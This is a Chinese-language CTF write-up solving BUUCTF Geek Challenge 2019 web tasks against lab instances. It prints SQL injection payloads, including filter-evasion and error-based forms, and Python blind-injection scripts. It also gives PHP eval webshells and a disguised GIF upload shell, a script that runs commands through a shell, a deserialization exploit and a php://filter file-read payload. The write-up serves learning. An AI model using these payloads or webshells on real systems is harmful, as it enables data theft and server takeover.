SQL部分:
[極客大挑戰 2019]BabySQL
開啟環境後有登入介面◕‿◕
一眼注入,後先試試萬能密碼:
username:admin' or '1'='1
password:1
GG,出大問題,我就會這一招啊O.o??完結撒花(不是
꒰ঌ( ⌯' '⌯)໒꒱開玩笑的,著看著像是過濾了or後來嘗試了一下oorr雙寫發現也不行,那咱繼續注入哈:
嘗試輸入下正常的union select等語句發現都被過濾了,那接下來把他們都雙寫看一下:
/check.php?username=admin&password=1 %27 ununionion seselectlect 1 %23
看到情況是不報錯,是列數不對啊
那就使用二分法一個一個排查,發現列數是3的時候就對了:
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,3 %23
後邊就簡單了,直接附程式碼了:
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,database() %23 #爆庫
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(schema_name)frfromom(infoorrmation_schema.schemata) %23
#列出所有庫
看到了ctf庫進去:
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(column_name) frfromom (infoorrmation_schema.columns) whwhereere
table_name="Flag" %23
直接拿資料就好了:
/check.php?username=admin&password=1 %27 ununionion seselectlect 1,2,group_concat(flag)frfromom(ctf.Flag) %23
得到Flag:
flag{ea47f9af-b37b-4f94-a04d-c5b249737afe}
[極客大挑戰 2019]EasySQL
看到第二題,發現介面沒變,還長這樣
話不多說,萬能密碼嘗試一下:
username:1
passwd:admin' or '1'='1
啊?直接出?好吧,看來是練手的:
flag{ef920bf4-ed7f-419b-af87-409fa306319a}
[極客大挑戰 2019]HardSQL
好,出題人不知悔改,那就讓他終身難忘(doge
同樣的萬能密碼起手,能簡單來我們就不展開做o.O
username:admin' or '1'=1'
passwd:1
好小子,那我可要進去了!
admin
1' order by 3#
?還是這樣是吧,那就bp看狙擊手模式下你給我過濾了多少欄位!
fuzz完發現空格 ,註釋符,and,by,=,sleep,/,~等都被過濾了,行,那就進入報錯注入環節:
使用()代替空格,使用like代替=,使用^連線函式形成異或
查了其他資料庫最後鎖定在geek裡邊
先查表:
admin'or(updatexml(1,concat(0x7e,database()),1))#
好小子,漏出馬腳了吧,那接下來爆表名:
admin'or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema)like(database()))),1))#
繼續:
admin'or(updatexml(1%2Cconcat(0x7e%2C(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1')))%2C1))%23
出敏感欄位,結束了,勝負已分( ´◔︎ ‸◔︎`)
admin'or(updatexml(1,concat(0x7e,(select(group_concat(username,'~',password))from(H4rDsq1))),1))#
但是隻出來左半邊?那好說了,左右分開就好了:
admin'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1)where(username)like('flag'))),1))#
flag{de3015f5-b395-4395-86c8-cf2ddf32e801}
[極客大挑戰 2019]LoveSQL
ok看看這個傢伙還會來什麼
先輸入萬能密碼:
使用者名稱:1' or 1=1#
密碼:123(隨便輸)
爆出了一些欄位,接下來我們試一下聯合注入,二分法先確認是3個欄位:
/check.php?username=1' union select 1,2,3%23&password=1
得到回顯位置為2、3,查一下版本號:
/check.php?username=1' union select 1,database(),version()%23&password=1
得到關鍵資訊geek為資料名稱,接下來就可以常規步驟了:
爆表:
/check.php?username=1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database()%23&password=1
爆欄位:
/check.php?username=1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='l0ve1ysq1'%23&password=1
爆資料:
/check.php?username=1' union select 1,2,group_concat(id,username,password) from l0ve1ysq1%23&password=1
得到flag:
flag{c76c8911-1aa0-494f-bd2d-1d7356abef1f}
[極客大挑戰 2019]FinalSQL
最後一個了,小小出題人又會幹嘛呢?0.0
ok,又是一堆亂七八糟的,挨個點選以後發現在第五個裡邊說有個id=6
那就修改下id=6:
.
這麼一看方向是對的,那接下來分析一下:
測試這個地方是否存在注入,結果發現他有過濾,過濾了空格、星號等特殊符號,但是減號、異或符、除號並未過濾,並且測出此處為數字型注入而非字元型注入。(測試方法:傳值1、2-1、1/1、1^0等結果正常顯示,而輸入3-1則顯示“2”的頁面)
這樣的話,要二分法盲注了,這裡給大家直接指令碼了,一個大牛的,一個我的:
指令碼1:
# -*- coding: utf-8 -*-
import re
import requests
import string
import time
url = "#url+id="
flag = ''
def payload(i, j):
# 資料庫名字
#sql = "1^(ord(substr((select(group_concat(schema_name))from(information_schema.schemata)),%d,1))>%d)^1"%(i,j)
# 表名
#sql = "1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,j)
# 列名
#sql = "1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,j)
# 查詢flag
sql = "1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, j)
data = {"id": sql}
r = requests.get(url, params=data)
# print (r.url)
if "Click" in r.text:
res = 1
else:
res = 0
return res
def exp():
global flag
for i in range(1, 10000):
print(i, ':')
low = 31
high = 127
while low <= high:
mid = (low + high) // 2
res = payload(i, mid)
if res:
low = mid + 1
else:
high = mid - 1
f = int((low + high + 1)) // 2
if (f == 127 or f == 31):
break
#print (f)
flag += chr(f)
print(flag)
time.sleep(0.5)
exp()
print('flag=', flag)
指令碼2:
import requests
url = "http://5cb9bdd9-00e4-4fcd-a9b3-872e7fe61aa7.node4.buuoj.cn:81/search.php"
flag = ''
for i in range(1,300):
low = 32
high = 127
while low < high:
mid = (low+high)//2
# 中間的語句為真,網頁不報錯,中間的語句為假,網頁報錯,根據這個判斷
# 查資料庫
# database = "?id=1^(ord(substr((select(database())),%d,1))>%d)^1" % (i, mid)
# 查表
# tables = "?id=1^(ord(substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema)='geek'),%d,1))>%d)^1"%(i,mid)
# columns = "?id=1^(ord(substr((select(group_concat(column_name))from(information_schema.columns)where(table_name='F1naI1y')),%d,1))>%d)^1"%(i,mid)
data = "?id=1^(ord(substr((select(group_concat(password))from(F1naI1y)),%d,1))>%d)^1" % (i, mid)
print(chr(mid))
# 根據需要查詢的內容改變get中的引數
r = requests.get(url=url+data)
# print(url+database)
# print(payload1)
# print(r.raw)
if 'Click' in r.text:
low = mid + 1
else:
high = mid
# print(low,mid,high)
flag += chr(low)
print(flag)
切記!不要為了速度把sleep刪了!!!!!網頁會響應不過來!
得到flag:
flag{4184bf22-51f1-4f03-a6f1-53f1734a5fb6}
其他web部分:
[極客大挑戰 2019]BuyFlag
開啟環境以後大眼看了下介面,點選payflag後發現了新介面!
可以看到要求:
1.你要是cuit裡邊的學生
2.你必須有正確的password
開啟F12原始碼檢視器確認下資訊,有這麼一串東西:
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
1.可以得到post是傳參方式,如果password=404為真,就繞過,後邊有is_numeric()函式,同時為了繞過這個,就必須有字母,所以我們選擇輸入404x
開啟hackbar,這樣子傳一下:
發現沒變化,那就抓包看一下吧:
這時注意到,Cookie有個扎眼的user=0,改成1試試:
ok,可以看到提示變了,他說我們前兩項都對了,但是必須付錢,那我們再機靈點,直接post money好了,改成他想要的:
password=404x&&money=100000000
放包以後看一下結果:
結果又過長了,我給改短也試了試,他說你錢不夠,嘲諷你是loser~
這就難辦了,加也不是,減也不是,很束手無措,估計這題難點就在這裡了,我嘗試找了下版本號:
5.3.3版本下我記得可以用函式strcmp()對數字進行繞過,那就改造一下:
password=404x&&money[]=1000
Get!!!!!!!!!!拿下!!!!!!!
flag{b97e8597-44d5-4127-809e-c6aa087564b4}
[極客大挑戰 2019]Havefun
開啟去擼貓:
擼了十分鐘才想起要做題嗯~ o(* ̄▽ ̄*)o..,那就開啟下F12:
有個原始碼提示:
$cat=$_GET['cat'];
echo $cat;
if($cat=='dog'){
echo 'Syc{cat_cat_cat_cat}';
}
這樣話直接get吧,cat=dog也沒別的做的了=.=
直接拿了,擼貓擼的很開心!)╭ ( ̄︶ ̄)ψ
flag{21ffc3d1-4900-4c00-a8d8-dd2c32d7e6a4}
[極客大挑戰 2019]Knife
基礎方法:
開啟環境給了個一句話木馬,說實話有點懵逼O.O!
那就直接蟻劍連結一下試試吧:
直接連線成功了?O.O
那直接打指令找一下吧:
cat /flag
出了,寫到這裡我總感覺那裡不對,不應該這麼簡單,就琢磨了下,但是沒想到好辦法,這時候看到了兩篇部落格,是兩位佬的其他思路:士別三日wyx和Senimo_的這裡我會講解我理解下的內容,如果有興趣的師傅建議去原文看一下,其中我真的很喜歡士別三日部落格的一句話,真的建議每一位Ctfer記住!
進階方法一(@士別三日wyx):
首先回到這個初始介面
我們看到一句話木馬,一句話木馬本身是利用程式碼執行的函式進行執行,說的簡單點就是你的post請求傳入eval()中,那也就是說,我們可以修改Post請求的引數來執行程式碼!
開啟hackbar執行:
Syc=phpinfo();
可以直接進入展示PHP資訊介面:
這裡很多人有疑問了,為什麼要進入這裡呢,因為在這個phpinfo介面下是無任何過濾的,這也是為什麼,大多數網站的題目都要禁止或者加密不讓訪問這個介面,接下來進入下一步:
我們使用var_dump()+scandir()
檢視一下根目錄:
Syc=var_dump(scandir('/'));
執行完以後看似沒啥變化,這只是因為背景顏色遮擋了修改,ctrl+u進入原始碼介面:
可以看到flag資料夾了,ctf有一個不成文的規矩就是要麼不出flag字元,要麼出現flag就在這裡邊!
那就訪問下就好,使用vay_dump+file_get_contents()
檢視檔案就還好了:
Syc=var_dump(file_get_contents('/flag'));
這個時候在開啟ctrl+u就得到了flag:
說實話,這個方法並不是什麼很新奇或者很出乎意料的東西,但是貴就貴在守住了最原始的破解方式,讓現在很多ctfer從只依賴指令碼不去看基礎知識的思維裡跳出來,很難能可貴,借用大佬的話就是:
喜歡一個東西首先要先學會「尊重」,雖然網路安全的圈子不乏各種灰產,以及高調宣傳自己是駭客的指令碼小子,但不可否認,這個圈子仍有不少人保持著「舉世皆濁我獨清,眾人皆醉我獨醒」的心態,努力磨礪技術,提升自身修養,讓網際網路變得更加安全。
進階方法二(@Senimo_):
方法三、進階方法二是使用指令碼(當然是自己手搓的):一句話木馬的原理剛才說過了,這裡不再提,嘗試用python連線一下可以這麼理解:
連線一句木馬並使用SHELL
,需要將一句話木馬作為POST
傳值的引數,將PHP
語句作為值傳入,並透過PHP
語句執行SHELL
命令。
我們剖析一下菜刀的原理,先看下菜刀傳送的資料包:
op=@eval(base64_decode($_POST[attack]));&attack=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
op=@eval(base64_decode($_POST[attack]));為正常的一句話木馬,其透過POST方式傳參,引數名為attack
base64_decode()函式解碼了傳入的值
因為對傳入的值進行BASE64編碼可以有效的防止特殊字元傳輸失敗的異常。
把值進行BASE64解碼,得到:
@ini_set("display_errors","0"); @set_time_limit(0); @set_magic_quotes_runtime(0); echo("->|");; print("hello PHP!");; echo("|<-"); die();
首先進行測試:
可以得到預設的回顯,這樣的話就直接搬運指令碼:
# -*- coding:utf-8 -*-
# name: Meng
# mail: 614886708@qq.com
# ctf_exp06:BUUCTF [極客大挑戰 2019] Knife
import requests
import re
class Knife:
def __init__(self, url_input):
self.payload_data = {"Syc": "exec('cat /flag',$out);print_r($out);die();"}
self.status_code = 1 # 連結狀態:0:無效,1:連通
self.url = url_input.strip()
self.flag = ''
def url_test(self):
# 可以重複輸錯10次連結
for i in range(9):
try:
# 對輸入的url做判斷
if self.url.endswith('/index.php') or self.url.endswith('buuoj.cn/') or self.url.endswith('buuoj.cn'):
# 嘗試訪問連結是否為200
requests.get(self.url)
print('測試狀態: 200 ' + self.url)
except:
print('無效連結!請重新輸入!')
self.url = input('請輸入題目連結:')
self.status_code = 0
else:
self.status_code = 1
break
if self.status_code == 0:
print('無效連結!退出程式!')
return
def num_test(self):
# 設定獲取flag只能重複30次
for i in range(30):
try:
r = requests.post(self.url, data=self.payload_data)
# 匹配buuctf平臺flag格式
self.flag = re.search(r'flag\{.+\}', r.text).group()
except:
print('第 ' + str(i+1) + ' 次未獲取到flag! 正在重試!')
else:
break
def run(self):
self.url_test() # 連線測試
self.num_test() # flag獲取
if self.flag == '':
print('已嘗試30次!未獲取到flag! 退出程式!')
return self.flag
if __name__ == '__main__':
print('ctf_exp0: BUUCTF [極客大挑戰 2019] Knife')
url_input = input('請輸入題目連結:')
print(Knife(url_input).run())
input() # 防止退出cmd
執行同樣得到flag:
flag{732832c3-cca5-4852-803d-3cf15e43f364}
作者隨筆:
這道簡單的題目之所以要花這麼長篇幅去寫,更多是因為做題的時候看到
了那段大佬寫的話,認為在學ctf的時候更多要知道自己是為什麼才進入了
這個領域,賺一些什麼固然很重要但是初心不忘更加難能可貴,想起來以
前看奧特曼的一句話:熱忱之心不可變,不能走著走著忘了為什麼才開
始。。。。
[極客大挑戰 2019]PHP
開啟環境以後發現又可以逗貓,就偷偷玩了一小會兒。。。。好了!進入正題!
題目中明顯說有備份檔案,那就盲猜www.zip:
ok,有東西,如果實在猜不到就dirseach掃描一下好了,開啟原始碼包:
class.php
<?php
include 'flag.php';
error_reporting(0);
class Name{
private $username = 'nonono';
private $password = 'yesyes';
public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}
function __wakeup(){
$this->username = 'guest';
}
function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();
}
}
}
?>
flag.php
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
index.js
<?php
$flag = 'Syc{dog_dog_dog_dog}';
?>
index.php
<!DOCTYPE html>
<head>
<meta charset="UTF-8">
<title>I have a cat!</title>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/meyer-reset/2.0/reset.min.css">
<link rel="stylesheet" href="style.css">
</head>
<style>
#login{
position: absolute;
top: 50%;
left:50%;
margin: -150px 0 0 -150px;
width: 300px;
height: 300px;
}
h4{
font-size: 2em;
margin: 0.67em 0;
}
</style>
<body>
<div id="world">
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 85%;left: 440px;font-family:KaiTi;">因為每次貓貓都在我鍵盤上亂跳,所以我有一個良好的備份網站的習慣
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 80%;left: 700px;font-family:KaiTi;">不愧是我!!!
</div>
<div style="text-shadow:0px 0px 5px;font-family:arial;color:black;font-size:20px;position: absolute;bottom: 70%;left: 640px;font-family:KaiTi;">
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>
</div>
<div style="position: absolute;bottom: 5%;width: 99%;"><p align="center" style="font:italic 15px Georgia,serif;color:white;"> Syclover @ cl4y</p></div>
</div>
<script src='http://cdnjs.cloudflare.com/ajax/libs/three.js/r70/three.min.js'></script>
<script src='http://cdnjs.cloudflare.com/ajax/libs/gsap/1.16.1/TweenMax.min.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/OrbitControls.js'></script>
<script src='https://s3-us-west-2.amazonaws.com/s.cdpn.io/264161/Cat.js'></script>
<script src="index.js"></script>
</body>
</html>
style.css
@import url(https://fonts.googleapis.com/css?family=Open+Sans:800);
#world{
position: absolute;
width:100%;
height: 100%;
background-color: #6ecccc;
overflow:hidden;
}
#credits{
position:absolute;
width:100%;
margin: auto;
bottom:0;
margin-bottom:20px;
font-family:'Open Sans', sans-serif;
color:#328685;
font-size:0.7em;
text-transform: uppercase;
text-align : center;
}
#credits a {
color:#328685;
}
#credits a:hover {
color:#630d15;
}
審計完構造出鏈子:
EXP:
<?php
class Name{
private $username = 'admine';
private $password = '100';
}
$select = new Name();
$res=serialize(@$select);
echo $res
?>
執行出來後得到:
O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
當然當然,眾所周知,有個__wakeup
永遠沒法安生,把2改成3。
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
hackbar輸入以後得到flag:
flag{75405f3e-bc9f-4d56-ac1a-a5157f22d9c4}
[極客大挑戰 2019]Secret File
開啟環境以後看到了不得了的東西呢=.=
開啟F12看一下原始碼發現/Archive_room.php
直接訪問!
接下來點開以後直接進入了/end.php
中
這就讓我很奇怪了,為什麼什麼都沒,又翻了下原始碼發現有個/action.php
跳轉一下試一試
怎麼又跳回去了?我確實沒看清。。。。。
這樣的話我明白邏輯了:/Archive_room.php
→/action.php
→/end.php
只不過中間的過程跳轉時間很快,那這樣的話就做一下bp好了,開啟bp:
這個介面跳轉一下,然後抓到了這樣的包:
發出去以後發現了這個介面,有/secr3t.php
訪問進去:
GET /secr3t.php HTTP/1.1
看到了有php程式碼,原始碼放下邊:
<?php
highlight_file(__FILE__);
error_reporting(0);
$file=$_GET['file'];
if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
echo "Oh no!";
exit();
}
include($file);
//flag放在了flag.php裡
?>
其實就是構造一個偽協議:
Payload:
secr3t.php?file=php://filter/convert.base64-encode/resource=flag.php
出來了base64密碼,解碼就好了:
PCFET0NUWVBFIGh0bWw+Cgo8aHRtbD4KCiAgICA8aGVhZD4KICAgICAgICA8bWV0YSBjaGFyc2V0PSJ1dGYtOCI+CiAgICAgICAgPHRpdGxlPkZMQUc8L3RpdGxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5IHN0eWxlPSJiYWNrZ3JvdW5kLWNvbG9yOmJsYWNrOyI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPGgxIHN0eWxlPSJmb250LWZhbWlseTp2ZXJkYW5hO2NvbG9yOnJlZDt0ZXh0LWFsaWduOmNlbnRlcjsiPuWViuWTiO+8geS9oOaJvuWIsOaIkeS6hu+8geWPr+aYr+S9oOeci+S4jeWIsOaIkVFBUX5+fjwvaDE+PGJyPjxicj48YnI+CiAgICAgICAgCiAgICAgICAgPHAgc3R5bGU9ImZvbnQtZmFtaWx5OmFyaWFsO2NvbG9yOnJlZDtmb250LXNpemU6MjBweDt0ZXh0LWFsaWduOmNlbnRlcjsiPgogICAgICAgICAgICA8P3BocAogICAgICAgICAgICAgICAgZWNobyAi5oiR5bCx5Zyo6L+Z6YeMIjsKICAgICAgICAgICAgICAgICRmbGFnID0gJ2ZsYWd7MmVmOWMwM2MtZjJhMC00NDZiLWEzM2YtOTFhNTllZWViOWRifSc7CiAgICAgICAgICAgICAgICAkc2VjcmV0ID0gJ2ppQW5nX0x1eXVhbl93NG50c19hX2cxcklmcmkzbmQnCiAgICAgICAgICAgID8+CiAgICAgICAgPC9wPgogICAgPC9ib2R5PgoKPC9odG1sPgo=
這裡送師傅們個拙作,py的base64本地解碼手搓程式碼:
import base64
def base64_decoder(encoded_string):
try:
decoded_bytes = base64.b64decode(encoded_string)
decoded_string = decoded_bytes.decode('utf-8')
return decoded_string
except Exception as e:
return f"解碼失敗: {e}"
# 示例用法
encoded_string = "" # 這是的Base64編碼
decoded_string = base64_decoder(encoded_string)
print(decoded_string)
可以本地跑,省賽有時候用的是專用ip,不讓查的=.=
[極客大挑戰 2019]Upload
映入眼簾檔案上傳,行吧,先隨便傳點什麼:
ok,經典圖片上傳,先把bp開啟,肯定用得到,先手搓一個一句話木馬:
<?php @eval($_POST['attack']);?>
oh,有檢索過濾,那就難辦了,我不會,完結撒。。。。。花個棒子,可以解決,先隨便上傳一個檔案,抓包抓住,挨個試:
php過濾了
php3過濾了
不一個一個試了,最後實驗到了phtml
因為我檔案裡沒寫內容,但是呢他的回顯不一樣了呢,那就用gif繞過好了:
GIF89a? <script language="php">eval($_REQUEST[1])</script>
(補充一下繞過字尾的有檔案格式有phtml,pht,php,php3,php4,php5)
氫氫又慫慫(u‿ฺu✿),好了檢查get頭是什麼直接蟻劍連線:
url:http://f9e62125-dcd4-4eef-8575-1337cfed47a9.node5.buuoj.cn:81/upload/1.phtml
passwd:1
歐克,連線就好了終端cat /flag
:
cat /flag
得到flag:
flag{c93d17b8-5074-4421-8420-352cd9a47bae}
暫時完結撒花!!!RCE我還沒學太懂怕誤導大家,就不寫了,以後學會了後邊會補充!下篇部落格再會啦,沒看懂的師傅歡迎私信我哦!!